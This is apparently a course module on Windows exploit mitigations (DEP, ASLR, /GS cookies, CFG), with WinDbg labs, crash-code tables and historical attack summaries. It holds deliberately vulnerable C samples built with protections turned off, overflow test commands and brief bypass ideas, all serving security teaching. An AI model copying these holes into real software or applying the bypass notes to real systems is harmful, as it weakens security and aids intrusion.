bin\dep_test.exe dep -> Should crash with 0xc0000005 (execute violation)python exploits\week5_aslr_test.py aslr_test.exe -> Should fail with 0xc0000005python exploits\check_aslr.py dep_test.exe vs python exploits\check_aslr.py aslr_test.exepython exploits\week5_gs_test.py gs_test.exe -> Should fail with 0xc0000409python exploits\week5_gs_test.py no_gs_test.exe -> Should crash with 0xc0000005python exploits\week5_cfg_test.py cfg_test.exe -> Should fail with 0x80000003 (NOT 0xc0000409!)python exploits\week5_cfg_test.py no_cfg_test.exe -> Should crash with 0xc0000005__fastfail(10) -> int 0x29 -> exit code 0x80000003, different from /GS!full_protect_test.exe0xc0000409, CFG exploit -> 0x80000003 (different mitigations, different exit codes!)Completion Criteria: You should be able to explain exactly why each of your Week 5 exploits fails against each mitigation level, and identify which mitigation caught the exploit by its exit code.
| If Attacker Has... | DEP Blocks | ASLR Blocks | /GS Blocks | CFG Blocks |
|---|---|---|---|---|
| Shellcode on stack | + | - | - | - |
| Shellcode on heap | + | - | - | - |
| Known libc address | - | + | - | - |
| Stack overflow | - | - | + | - |
| Heap overflow -> func ptr | - | - | - | + |
| ROP chain | - | Partial | - | - |
| Info leak | - | Defeats ASLR | - | - |
Bridge to Week 4 (Crash Analysis): When analyzing crashes, these signatures indicate which mitigation caused termination:
| Mitigation | Process Exit Code | WinDbg Exception Code | Key Indicators | WinDbg Analysis | Bypass in Week 8 |
|---|---|---|---|---|---|
| DEP | 0xC0000005 | 0xC0000005 (Access Violation) | EXCEPTION_PARAMETER1 = 8 (execute violation) | !analyze -v shows "DEP violation" | Task X: Userland Data-Only Attack |
| /GS (Cookie) | 0xC0000409 | 0xC0000409 (subcode 2) | Fast fail, process terminates immediately | Bucket: OVERRUN_STACK_BUFFER_* | Day 3: Stack Cookie Bypass |
| CFG | 0x80000003 | 0xC0000409 (subcode 10) | FAST_FAIL_GUARD_ICALL_CHECK_FAILURE | Bucket: FAIL_FAST_GUARD_ICALL_CHECK_FAILURE | Task X: Userland Data-Only Attack |
| CET Shadow | 0x80000003 | 0xC0000407 | STATUS_CONTROL_STACK_VIOLATION | Shadow stack mismatch detected | Advanced: Data-Only or Race Conditions |
| Heap Cookie | 0xC0000374 | 0xC0000374 (Heap Corruption) | Detected on HeapFree/HeapAlloc | !heap -p -a <addr> shows corruption | Day 5: Heap Exploitation (Safe-Linking) |
[!WARNING] Exit Code vs Exception Code: Python's
process.returncode,%ERRORLEVEL%, andecho $LASTEXITCODEshow the process exit code. WinDbg's.exr -1and!analyze -vshow the exception code. CFG and CET both call__fastfail()which executesint 0x29-> process exits with0x80000003(STATUS_BREAKPOINT), but the exception record INSIDE WinDbg preserves the original status.
Quick WinDbg Triage:
# After crash, identify mitigation:
!analyze -v
# Check exception parameters for DEP:
.exr -1
# Parameter1: 0 = read, 1 = write, 8 = DEP (execute)
# For fast fail codes:
# Look in exception record for subcode
# 10 = CFG, 37 = CET shadow stack, etc.
In previous weeks, you created "Crash Cards". In Week 6, you must complete a Mitigation Failure Card for every blocked exploit.
MITIGATION FAILURE CARD
Exploit Attempted: Stack Overflow (150 bytes into 64-byte buffer) Target Binary:
bin\gs_test.exeCrash Symptom: Process terminated immediately, no shellcode execution Exception Code:0xC0000409(STATUS_STACK_BUFFER_OVERRUN) Failure Subcode/Param: Stack Cookie corruption detected WinDbg Bucket:FAIL_FAST_STACK_BUFFER_OVERRUNWhy it Failed: The stack cookie (placed between buffer and return address) was corrupted by the overflow.__security_check_cookie()detected the mismatch and called__fastfail(). Potential Bypass: Info leak to read cookie value, then include correct cookie in payload. Or target a function without /GS protection.
| Attack Type | DEP Blocks | ASLR Blocks | /GS Blocks | CFG Blocks |
|---|---|---|---|---|
| Shellcode on stack | + | - | - | - |
| Shellcode on heap | + | - | - | - |
| Known libc address | - | + | - | - |
| Stack overflow | - | - | + | - |
| Heap overflow -> func ptr | - | - | - | + |
| ROP chain | - | Partial | - | - |
| Info leak | - | Defeats ASLR | - | - |
| Data-Only Attack | - | - | - | - |
Why This Matters: In real-world analysis, you often start with a crash dump. Knowing these signatures lets you immediately identify:
What is DEP?:
How DEP Works:
Without DEP:
Memory Page: Read + Write + Execute (RWX)
- Stack: RWX
- Heap: RWX
- Data: RWX
-> Shellcode anywhere can execute
With DEP:
Memory Page: Read + Write OR Execute (never both)
- Stack: RW (no execute)
- Heap: RW (no execute)
- .text section: RX (read + execute only)
- Data section: RW (no execute)
-> Shellcode on stack/heap cannot execute
DEP Policies:
# Run in powershell
switch ((Get-CimInstance Win32_OperatingSystem).DataExecutionPrevention_SupportPolicy) {
0 { 'AlwaysOff' }
1 { 'AlwaysOn' }
2 { 'OptIn' }
3 { 'OptOut' }
default { 'Unknown' }
}
# Example output: OptIn
The NX Bit in Page Table Entries:
Understanding DEP requires understanding how the CPU enforces it through page tables.
x64 Page Table Entry (PTE) Structure:
┌────────────────────────────────────────────────────────────┐
│ 63│62-52│51-M│M-12│11-9│ 8 │ 7 │ 6 │ 5 │ 4 │ 3 │ 2 │ 1 │ 0 │
├───┼─────┼────┼────┼────┼───┼───┼───┼───┼───┼───┼───┼───┼───┤
│NX │Avail│Rsv │PFN │Avl │G │PAT│D │A │PCD│PWT│U/S│R/W│P │
└───┴─────┴────┴────┴────┴───┴───┴───┴───┴───┴───┴───┴───┴───┘
Key Bits:
- Bit 63 (NX): No-Execute bit
- 0 = Page is executable
- 1 = Page is NOT executable (DEP enforced)
- Bit 0 (P): Present bit
- Bit 1 (R/W): Read/Write permission
- Bit 2 (U/S): User/Supervisor (ring 3/ring 0)
DEP Enforcement:
1. CPU fetches instruction
2. MMU translates virtual -> physical address
3. MMU reads PTE for that page
4. If NX bit is SET and page is in data segment:
-> #PF (Page Fault) with specific error code
-> Windows converts to STATUS_ACCESS_VIOLATION
Page Protection Constants:
// Windows memory protection constants (memoryapi.h)
#define PAGE_NOACCESS 0x01
#define PAGE_READONLY 0x02
#define PAGE_READWRITE 0x04
#define PAGE_WRITECOPY 0x08
#define PAGE_EXECUTE 0x10 // Rarely used alone
#define PAGE_EXECUTE_READ 0x20 // Code sections
#define PAGE_EXECUTE_READWRITE 0x40 // JIT, dangerous
#define PAGE_EXECUTE_WRITECOPY 0x80
// Relationship to NX bit:
// PAGE_READWRITE -> NX bit SET (non-executable)
// PAGE_EXECUTE_READ -> NX bit CLEAR (executable)
// PAGE_EXECUTE_READWRITE -> NX bit CLEAR (JIT requirement)
WinDbg Lab: Examining Page Protections:
# Step 1: Attach to a process
# start notepad, run windbg and attach to it
# Step 2: View all memory regions with protections
!address
# Sample output (truncated - full output shows all loaded modules):
# BaseAddress EndAddress+1 RegionSize Type State Protect Usage
# --------------------------------------------------------------------------------------------------------------------------
# + 0`7ffe0000 0`7ffe1000 0`00001000 MEM_PRIVATE MEM_COMMIT PAGE_READONLY Other [User Shared Data]
# + c1`902f9000 c1`90300000 0`00007000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [~0; 11f0.2bcc]
# + 7ff7`966d0000 7ff7`966d1000 0`00001000 MEM_IMAGE MEM_COMMIT PAGE_READONLY Image [Notepad.exe]
# + 7ff7`966d1000 7ff7`96876000 0`001a5000 MEM_IMAGE MEM_COMMIT PAGE_EXECUTE_READ Image [Notepad.exe]
# ↑ Code section ↑ Stack - no execute
Step 3: Examine Specific Memory Regions
Test these addresses to understand DEP protection:
# Stack memory (where buffer overflows occur)
0:004> !vprot c1`902f9000
BaseAddress: 000000c1902f9000
AllocationBase: 000000c190200000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 0000000000007000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE # ← NO EXECUTE - DEP protected!
Type: 00020000 MEM_PRIVATE
# Executable code section (.text)
0:004> !vprot 7ff7`966d1000
BaseAddress: 00007ff7966d1000
AllocationBase: 00007ff7966d0000
AllocationProtect: 00000080 PAGE_EXECUTE_WRITECOPY
RegionSize: 00000000001a5000
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ # ← Executable but NOT writable
Type: 01000000 MEM_IMAGE
# Heap memory
0:004> !vprot 283`f5000000
BaseAddress: 00000283f5000000
AllocationBase: 00000283f5000000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 0000000000002000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE # ← NO EXECUTE - DEP protected!
Type: 00020000 MEM_PRIVATE
Step 4: Check Current Stack Pointer
# Get current stack pointer
0:004> r rsp
rsp=000000c1906ffcb8
# Verify it's in non-executable memory
0:004> !vprot 000000c1906ffcb8
BaseAddress: 000000c1906ff000
AllocationBase: 000000c190600000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 0000000000001000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE # ← Stack is NEVER executable
Type: 00020000 MEM_PRIVATE
Summary Table - W^X (Write XOR Execute) in Action:
| Region | Address Example | Writable | Executable | Attack Vector? |
|---|---|---|---|---|
| Stack | c1902f9000` | + | - | ROP gadgets only |
| Code (.text) | 7ff7966d1000` | - | + | Source of ROP gadgets |
| PE Header | 7ff7966d0000` | - | - | None |
| Heap | 283f5000000` | + | - | Data-only attacks |
| User Shared Data | 7ffe0000 | - | - | Info leak source |
[!IMPORTANT] DEP Takeaway: No memory region is both Writable AND Executable simultaneously. This is why classic shellcode injection fails and attackers must use ROP chains.
Why Some Processes Need Executable Data:
Legitimate uses of PAGE_EXECUTE_READWRITE:
1. JIT Compilers (JavaScript V8, .NET CLR, Java HotSpot)
- Generate code at runtime
- Must write then execute
2. Self-modifying code (rare, legacy)
3. Packers/Protectors (unpack code into memory)
Modern JIT approach (W^X compliant):
1. Allocate PAGE_READWRITE
2. Write generated code
3. VirtualProtect -> PAGE_EXECUTE_READ
4. Execute
5. Never have RWX simultaneously
Browser sandboxes enforce this strictly:
- Chrome: renderer processes cannot create RWX memory
- ACG (Arbitrary Code Guard) blocks VirtualProtect to +X
Per-Process DEP Configuration:
# View DEP settings
Get-ProcessMitigation -System
# View for specific process
Get-Process notepad -ErrorAction SilentlyContinue | ForEach-Object { Get-ProcessMitigation -Id $_.Id }
# Set DEP for program
Set-ProcessMitigation -Name myapp.exe -Enable DEP, SEHOP
Testing DEP with the Unified Suite:
We use the vulnerable_suite_win_mitigated.c from the start of this lab (see Line ~450). The suite's Option 1 (Stack Overflow) triggers the vuln_stack() function which attempts to execute shellcode placed on the stack—DEP should block this.
Compile WITHOUT DEP (for comparison):
# x64 Native Tools Command Prompt
cd C:\Windows_Mitigations_Lab
# Build WITHOUT DEP (NXCOMPAT:NO) - shellcode MAY execute
cl /GS- /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\dep_test_disabled.exe /link /NXCOMPAT:NO /DYNAMICBASE:NO /FIXED
# Verify DEP is disabled:
dumpbin /headers bin\dep_test_disabled.exe | findstr "NX"
# Should NOT show "NX compatible"
# Run and select Option 1 (Stack Overflow)
.\bin\dep_test_disabled.exe stack
# Enter long input to trigger overflow - may crash differently without DEP
Compile WITH DEP (default, recommended):
# Build WITH DEP enabled (NXCOMPAT) but WITHOUT ASLR (to isolate DEP testing)
cl /GS- /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\dep_test.exe /link /NXCOMPAT /DYNAMICBASE:NO /FIXED
# Verify DEP is enabled:
dumpbin /headers bin\dep_test.exe | findstr "NX"
# Should show: "NX compatible"
# Run and select Option 1 (Stack Overflow)
.\bin\dep_test.exe stack
# When prompted, enter 100+ 'A' characters to overflow the buffer
# DEP will block execution of any shellcode on the stack
Verify DEP in WinDbg:
# Launch the DEP-enabled binary in WinDbg with 'stack' argument
windbg C:\Windows_Mitigations_Lab\bin\dep_test.exe stack
# Set breakpoint on vuln_stack function (will be deferred until module loads)
1:001> bp dep_test!vuln_stack
Bp expression 'dep_test!vuln_stack' could not be resolved, adding deferred bp
1:001> g
# When initial break hits, check stack page protections
0:000> !vprot @rsp
BaseAddress: 000000000014f000
AllocationBase: 0000000000050000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 0000000000001000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE # <-- No EXECUTE permission!
Type: 00020000 MEM_PRIVATE
# Continue execution - the overflow will corrupt the return address
0:000> g
(13fc.634): Access violation - code c0000005 (first chance)
dep_test+0x1078:
00000001`40001078 c3 ret
# Analyze the crash
0:000> !analyze -v
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - Access violation
EXCEPTION_PARAMETER1: 0000000000000000 # 0 = Read, 1 = Write, 8 = DEP/Execute
EXCEPTION_PARAMETER2: ffffffffffffffff # Invalid address from corrupted return
# The stack shows the overflow pattern (0x61 = 'a', cyclic pattern)
STACK_TEXT:
00000000`0014fee8 61616174`61616173 : dep_test+0x1078 # Corrupted return address!
[!NOTE] Understanding the Crash: This crash is a read violation (EXCEPTION_PARAMETER1=0) because the corrupted return address points to unmapped memory. If we had actual shellcode and the return address pointed to the stack, we would see EXCEPTION_PARAMETER1=8 (DEP/execute violation). The key observation is that
!vprot @rspshowsPAGE_READWRITEwithout execute permission—DEP is working!
What is ASLR?:
/DYNAMICBASE linker flagWhat ASLR Randomizes:
ASLR Entropy (Windows 11 x64):
[!NOTE] Entropy values are approximate and vary by Windows build, configuration, and specific mitigation policies. Use these as rough guidelines for understanding the scale of randomization.
How Windows Calculates Randomization:
ASLR Randomization Sources:
1. KeQueryPerformanceCounter() - high-resolution timer
2. Process creation time
3. System boot time (stored in SharedUserData)
4. Per-boot random seed (KeRandomSeed)
Formula (simplified):
ImageBase = PreferredBase + (RandomValue * AllocationGranularity)
Where:
- PreferredBase: From PE header (usually 0x140000000 for x64)
- RandomValue: Derived from entropy sources
- AllocationGranularity: 64KB (0x10000)
ASLR Entropy Breakdown by Component:
Windows 11 x64 ASLR Entropy:
┌─────────────────────────────────────────────────────────────────┐
│ Component │ Bits │ Possible Values │ Notes │
├────────────────────┼──────┼─────────────────┼───────────────────┤
│ Executable (EXE) │ 17 │ 131,072 │ /HIGHENTROPYVA │
│ DLLs │ 19 │ 524,288 │ Per-DLL random │
│ Stack │ 17 │ 131,072 │ Per-thread │
│ Heap │ 5 │ 32 │ Per-allocation │
│ PEB/TEB │ 8 │ 256 │ Process/thread │
│ Kernel (KASLR) │ 24 │ 16,777,216 │ At boot only │
└─────────────────────────────────────────────────────────────────┘
x86 (32-bit) - Much less entropy:
┌─────────────────────────────────────────────────────────────────┐
│ Component │ Bits │ Possible Values │ Notes │
├────────────────────┼──────┼─────────────────┼───────────────────┤
│ Executable (EXE) │ 8 │ 256 │ Limited by VA │
│ DLLs │ 8 │ 256 │ Brute-forceable │
│ Stack │ 14 │ 16,384 │ Better than EXE │
│ Heap │ 5 │ 32 │ Same as x64 │
└─────────────────────────────────────────────────────────────────┘
High Entropy ASLR (/HIGHENTROPYVA):
# Check if binary uses high entropy ASLR
cd c:\Windows_Mitigations_Lab>
dumpbin /headers bin\aslr_test.exe|findstr "High Entropy"
# shows High Entropy Virtual Addresses
WinDbg Lab: Observing ASLR Randomization:
# IMPORTANT: ASLR Behavior is More Nuanced Than "Reboot-Only"
#
# ASLR uses a per-boot random seed for base address calculation.
# However, some module bases may appear stable within a boot session due to:
# - Shared DLL mappings across processes (performance optimization)
# - Kernel address space layout caching
# - ForceRelocateImages policy (can change this behavior)
#
# DO NOT rely on any predictable behavior for exploitation!
# Always measure empirically in your specific environment.
# Method 1: Compare module bases across reboots
# ---------------------------------------------
windbg notepad.exe
lm m ntdll
# Note ntdll base address (e.g., 0x7ffb12340000)
# Reboot VM and repeat
# ntdll base should be different (new per-boot seed)
# Method 2: Compare across process launches (within same boot)
# ------------------------------------------------------------
# NOTE: Behavior varies based on:
# - ForceRelocateImages policy (if enabled, more randomization)
# - Whether DLL is already mapped by another process
# - System configuration and Windows version
windbg notepad.exe
lm m notepad
# Note base
.restart
lm m notepad
# Base may or may not change - this is environment-dependent!
# Method 3: Force per-launch randomization (recommended for security)
# -------------------------------------------------------------------
Set-ProcessMitigation -Name notepad.exe -Enable ForceRelocateImages
# Now each launch should get a different EXE base
# To verify:
for /L %i in (1,1,5) do @powershell -c "(Get-Process notepad -ErrorAction SilentlyContinue).MainModule.BaseAddress"
ASLR Weaknesses (Understanding Limitations):
ASLR Limitation 1: Shared DLL Base Addresses
--------------------------------------------
Within a boot session, all processes share same DLL bases.
If attacker leaks ntdll.dll base from ANY process,
they know it for ALL processes until reboot.
ASLR Limitation 2: Information Leaks
------------------------------------
Any pointer disclosure defeats ASLR for that module:
- printf() with %p on user data
- Stack traces in error messages
- Uninitialized memory disclosure
- Side-channel attacks (cache timing)
ASLR Limitation 3: Partial Overwrites
-------------------------------------
If overflow only corrupts low bytes of pointer:
- High bytes stay randomized
- Low bytes can redirect within same page
- Example: Change function to different offset
ASLR Limitation 4: Low Entropy (32-bit)
---------------------------------------
8 bits = 256 possibilities
At 1000 attempts/second = ~4 minutes average
Remote attacks with reconnection can brute-force
Testing ASLR with the Unified Suite:
[!NOTE] To observe ASLR in action, we'll use WinDbg to examine module base addresses. The
vulnerable_suite_win_mitigated.cbinary itself doesn't print addresses, but WinDbg'slmcommand shows where modules are loaded.
Compile WITH ASLR (recommended):
# x64 Native Tools Command Prompt
cd C:\Windows_Mitigations_Lab
# Build WITH ASLR (DYNAMICBASE) and High Entropy
cl /GS- /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\aslr_test.exe /link /NXCOMPAT /DYNAMICBASE /HIGHENTROPYVA
# Verify ASLR is enabled:
dumpbin /headers bin\aslr_test.exe | findstr "Dynamic base"
# Should show: "Dynamic base"
dumpbin /headers bin\aslr_test.exe | findstr "High Entropy"
# Should show: "High Entropy Virtual Addresses"
Compile WITHOUT ASLR (for comparison):
# Build WITHOUT ASLR (DYNAMICBASE:NO /FIXED)
cl /GS- /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\no_aslr_test.exe /link /NXCOMPAT /DYNAMICBASE:NO /FIXED
# Verify ASLR is disabled:
dumpbin /headers bin\no_aslr_test.exe | findstr "Dynamic base"
# Should NOT show "Dynamic base"
Observe ASLR with WinDbg:
# Launch the ASLR-enabled binary in WinDbg
windbg bin\aslr_test.exe stack
# In WinDbg, list loaded modules:
0:000> lm
# Note the base addresses for aslr_test and ntdll
# Close WinDbg and launch again:
windbg bin\aslr_test.exe stack
0:000> lm
# Within the same boot session, bases MAY be the same (Windows optimization)
# REBOOT the VM, then launch again:
windbg bin\aslr_test.exe stack
0:000> lm
# Now addresses should be different!
# Compare with NO-ASLR binary:
windbg bin\no_aslr_test.exe stack
0:000> lm
# Executable base is ALWAYS 0x140000000 (predictable!)
Using Process Explorer:
Using dumpbin:
# Check PE headers
dumpbin /headers .\bin\aslr_test.exe | findstr "Dynamic base"
# "Dynamic base" present = ASLR enabled
dumpbin /headers .\bin\dep_test.exe | findstr "NX compatible"
# "NX compatible" present = DEP enabled
Programmatic Detection:
// c:\Windows_Mitigations_Lab\src\mitigation.c
// compile with cl src\detection.c /Fe:bin\detection.exe /link
#include <windows.h>
#include <stdio.h>
void check_dep() {
// Check hardware NX support
if (IsProcessorFeaturePresent(PF_NX_ENABLED)) {
printf("[+] Hardware DEP supported\n");
}
// Check if enabled for current process
DWORD flags;
BOOL permanent;
if (GetProcessDEPPolicy(GetCurrentProcess(), &flags, &permanent)) {
printf("[+] DEP enabled: %s\n", flags ? "Yes" : "No");
printf("[+] Permanent: %s\n", permanent ? "Yes" : "No");
}
}
void check_aslr() {
HMODULE hExe = GetModuleHandle(NULL);
printf("[*] Base address: %p\n", hExe);
// Check if likely randomized
// Non-randomized bases are often at 0x00400000 or similar
if ((ULONG_PTR)hExe < 0x10000000) {
printf("[-] Likely NOT randomized (low address)\n");
} else {
printf("[+] Likely randomized (high address)\n");
}
}
int main() {
printf("=== Mitigation Check ===\n\n");
check_dep();
printf("\n");
check_aslr();
return 0;
}
Understanding the historical attacks these mitigations stopped helps appreciate their value.
The Attack (Pre-DEP era exploitation):
Vulnerability: Stack buffer overflow in Server Service (netapi32.dll)
Target: Windows XP/2003 (many without DEP)
Impact: Remote code execution via SMB
Exploit Flow (without DEP):
1. Attacker sends malicious SMB request
2. Stack buffer overflow in svchost.exe
3. Return address overwritten -> points to stack
4. Shellcode on stack executes
5. Worm propagates to next target
Why DEP Would Block:
- Stack marked non-executable
- Return to stack shellcode fails
- Attack limited to DoS without ROP
Lesson: DEP would have significantly hindered Conficker's propagation.
The Attack (Operation Aurora):
Vulnerability: Use-after-free in mshtml.dll (IE 6)
Target: IE 6 on Windows XP (no ASLR)
Impact: Targeted attack against Google employees
Exploit Flow (without ASLR):
1. Malicious webpage triggers UAF
2. Heap spray at predictable address (0x0c0c0c0c)
3. Shellcode at known location
4. ROP gadgets at known DLL offsets
5. Code execution achieved
Why ASLR Would Block:
- Heap spray address unpredictable
- DLL gadget addresses unknown
- Attacker needs information leak first
Lesson: ASLR forces attackers to chain vulnerabilities (info leak + code exec).
How Modern Mitigations Affected the Exploit:
Vulnerability: MSHTML URL protocol handler
Impact: RCE via malicious Office document
Mitigations Present: DEP, ASLR, CFG
Attacker's Challenge:
1. Cannot use simple shellcode (DEP)
2. Cannot hardcode addresses (ASLR)
3. Indirect calls validated (CFG)
Actual Exploit:
1. Used legitimate COM objects for initial execution
2. Launched CAB file to extract payload
3. DLL side-loading to bypass CFG
4. Used existing signed code for malicious actions
Lesson: Mitigations forced complex, multi-stage attack
Create vulnerable program:
// Save as C:\Windows_Mitigations_Lab\src\dep_vuln.c
// Simple buffer overflow with shellcode
#include <stdio.h>
#include <string.h>
char shellcode[] = "\xcc\xc3"; // int3; ret
int main() {
char buffer[100];
fgets(buffer, 200, stdin); // Overflow
void (*f)() = (void(*)())shellcode;
f(); // Execute
return 0;
}
Compile without DEP:
cd C:\Windows_Mitigations_Lab
cl /GS- /D_CRT_SECURE_NO_WARNINGS src\dep_vuln.c /Fe:bin\dep_vuln_disabled.exe /link /NXCOMPAT:NO /DYNAMICBASE:NO
Test - should execute:
echo AAAAAAA... | bin\dep_vuln_disabled.exe
# Works (or int3 breakpoint)
Recompile with DEP:
cl /GS- /D_CRT_SECURE_NO_WARNINGS src\dep_vuln.c /Fe:bin\dep_vuln_enabled.exe /link /NXCOMPAT /DYNAMICBASE:NO
Test - should crash:
echo AAAAAAA... | bin\dep_vuln_enabled.exe
# Access violation! (DEP blocks shellcode execution)
Check Windows binaries:
dumpbin /headers C:\Windows\System32\notepad.exe | findstr "Dynamic NX"
Check your compiled programs
Document which protections are active
.exr -1) tells you exactly WHICH mitigation killed the exploit.0xC0000005 with Parameter[0]=8 the "smoking gun" for a DEP violation?What are Stack Cookies?:
How They Work:
// Without /GS
void function(char *input) {
char buffer[64];
strcpy(buffer, input);
}
// Stack layout:
// [buffer][saved EBP][return address]
// Overflow: overwrites return address directly
// With /GS
void function(char *input) {
char buffer[64];
__int64 cookie = __security_cookie; // Inserted by compiler
strcpy(buffer, input);
if (cookie != __security_cookie) {
__security_check_cookie(cookie); // Terminates!
}
}
// Stack layout:
// [buffer][cookie][saved EBP][return address]
// Overflow: must overwrite cookie to reach return address
Cookie Generation:
// __security_cookie is initialized at process startup
// Based on:
// - Current time (GetSystemTimeAsFileTime)
// - Process ID
// - Thread ID
// - Performance counter
// - Stack address
// Result: 32-bit or 64-bit random value
Cookie Check:
; Function prologue (x86)
push ebp
mov ebp, esp
sub esp, 0x44 ; Allocate locals
mov eax, ___security_cookie
xor eax, ebp ; XOR with frame pointer
mov [ebp-0x04], eax ; Store on stack
; Function body...
; Function epilogue
mov ecx, [ebp-0x04] ; Load cookie
xor ecx, ebp ; XOR with frame pointer
call @__security_check_cookie@4 ; Check
mov esp, ebp
pop ebp
ret
Testing Stack Cookies:
// src\stack_overflow.c
#include <string.h>
#include <stdio.h>
void vulnerable(char *input) {
char buffer[64];
printf("[*] Entering vulnerable()\n");
printf("[*] Buffer at: %p\n", buffer);
printf("[*] Copying %zu bytes\n", strlen(input));
fflush(stdout); // Ensure output before potential crash
strcpy(buffer, input);
printf("[*] Copy complete\n");
printf("[*] Returning from vulnerable()...\n");
fflush(stdout);
}
int main(int argc, char **argv) {
printf("[+] Program started\n");
if (argc > 1) {
vulnerable(argv[1]);
printf("[+] Returned from vulnerable() successfully!\n");
}
printf("[+] Program ending normally\n");
return 0;
}
Compile Without /GS:
# Save the source code to the lab src directory
cl /GS- /Zi /D_CRT_SECURE_NO_WARNINGS src\stack_overflow.c /Fe:bin\stack_overflow_no_gs.exe /link /DEBUG /NXCOMPAT:NO /DYNAMICBASE:NO
# Test overflow
python -c "import subprocess; subprocess.run(['bin\\stack_overflow_no_gs.exe', 'A'*500])"
# [*] Copying 500 bytes
# <crash during strcpy - corrupted critical memory>
Compile With /GS:
# Compile with all mitigations (Day 1 standard setup)
cl /GS /Zi /D_CRT_SECURE_NO_WARNINGS src\stack_overflow.c /Fe:bin\stack_overflow.exe /link /DEBUG /NXCOMPAT /DYNAMICBASE
# Test overflow
python -c "import subprocess; subprocess.run(['bin\\stack_overflow.exe', 'A'*500])"
# [*] Copying 500 bytes
# [*] Copy complete
# [*] Returning from vulnerable()...
# <security cookie check failed - controlled termination>
Viewing in WinDbg:
# Launch with overflow argument (use 500 bytes to trigger detection
# cmd: bin\stack_overflow.exe
# arg: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# might need a `g` to start it based on your setup
# Set breakpoint at vulnerable function
bp stack_overflow!vulnerable
# bp stack_overflow_no_gs!vulnerable for the other one
g
# check for __security_check_cookie near ret
uf .
Lab: Complete Stack Cookie Investigation:
# Step 1: Examine the global security cookie
# Find the security cookie (might need to hit `g` first to initialize)
x stack_overflow!__security_cookie
# Example: 00007ff6`5056b140 stack_overflow!__security_cookie = 0x00004336`aa6df55d
# Step 2: Set breakpoint at function entry and step past prologue
bp stack_overflow!vulnerable
g
# PRO-TIP: By default, 't' steps one SOURCE LINE.
# One 't' will likely execute the entire prologue.
# Look at the disassembly ('u .') to ensure you are still in vulnerable()
# but past the 'mov [rsp+60h], rax' instruction.
t
# If you want to step instruction-by-instruction regardless of source:
# Use 't' after running: l- t
# (l- t disables source mode stepping)
# Step 3: Examine stack frame with cookie
# Ensure you are still in vulnerable()! If you see 'printf', you stepped too far.
r rsp
# Example: rsp=000000b2e68ff8b0
dq rsp+60 L1
# Example: 000000b2`e68ff910 00004384`4ce20ded
# Step 4: Understand the XOR operation
# IMPORTANT: In WinDbg expressions, symbols evaluate to their ADDRESS.
# Use poi() to get the VALUE stored at that address.
? poi(stack_overflow!__security_cookie) ^ rsp
# Example Evaluate expression: 00004384`4ce20ded
# The result of this MUST match the value you saw with 'dq' on the stack.
# Step 5: Watch the epilogue check
# Set a breakpoint near the end of vulnerable()
uf .
# Example: bp stack_overflow!vulnerable+0xaf
g
# Triggering the failure:
# (2924.7d4): Security check failure or stack buffer overrun - code c0000409
# Subcode: 0x2 FAST_FAIL_STACK_COOKIE_CHECK_FAILURE
# stack_overflow!__report_gsfailure+0x5:
# 00007ff6`504d7945 cd29 int 29h
Variable Reordering by /GS:
The compiler reorders local variables so that "buffers" (arrays) are placed at higher addresses, closer to the security cookie. This prevents an overflow from overwriting other local variables (like function pointers or class objects) before hitting the cookie.
Source Code:
// src\var_reorder.c
#include <stdio.h>
#include <string.h>
// Force GS check even for small/unused buffers
#pragma strict_gs_check(on)
void test_reordering() {
int count = 0x11111111;
char buffer[16];
void* ptr = (void*)0x4444444444444444;
// Use the variables to prevent optimization
sprintf(buffer, "Value: %d", count);
printf("[*] Buffer: %s, Ptr: %p\n", buffer, ptr);
}
int main() {
test_reordering();
return 0;
}
Viewing Variable Reordering in WinDbg:
Compile with /GS and debug info:
# Save the test code to C:\Windows_Mitigations_Lab\src\var_reorder.c
cl /GS /Zi src\var_reorder.c /Fe:bin\var_reorder.exe /link /NXCOMPAT /DYNAMICBASE
windbg C:\Windows_Mitigations_Lab\bin\var_reorder.exe
bp var_reorder!test_reordering
g
# View local variable layout
dv /V
# Expected Output:
# @rsp+0x0030 buffer = char [16] "..."
# @rsp+0x0028 ptr = 0x...
# @rsp+0x0020 count = 0x...
# Notice: buffer has the HIGHEST offset (+30) among data variables.
# Or examine disassembly
uf var_reorder!test_reordering
# Proving Protection Layout:
# 1. Cookie is stored at [rsp+40h]
# 2. Buffer starts at [rsp+30h]
# 3. Buffer ends at [rsp+30h] + 16 bytes = [rsp+40h] (Exactly hitting the cookie!)
# If the compiler didn't reorder, buffer might be at [rsp+20h].
# An overflow of 16 bytes would overwrite 'count' and 'ptr'
# potentially giving control of execution BEFORE the cookie is even checked.
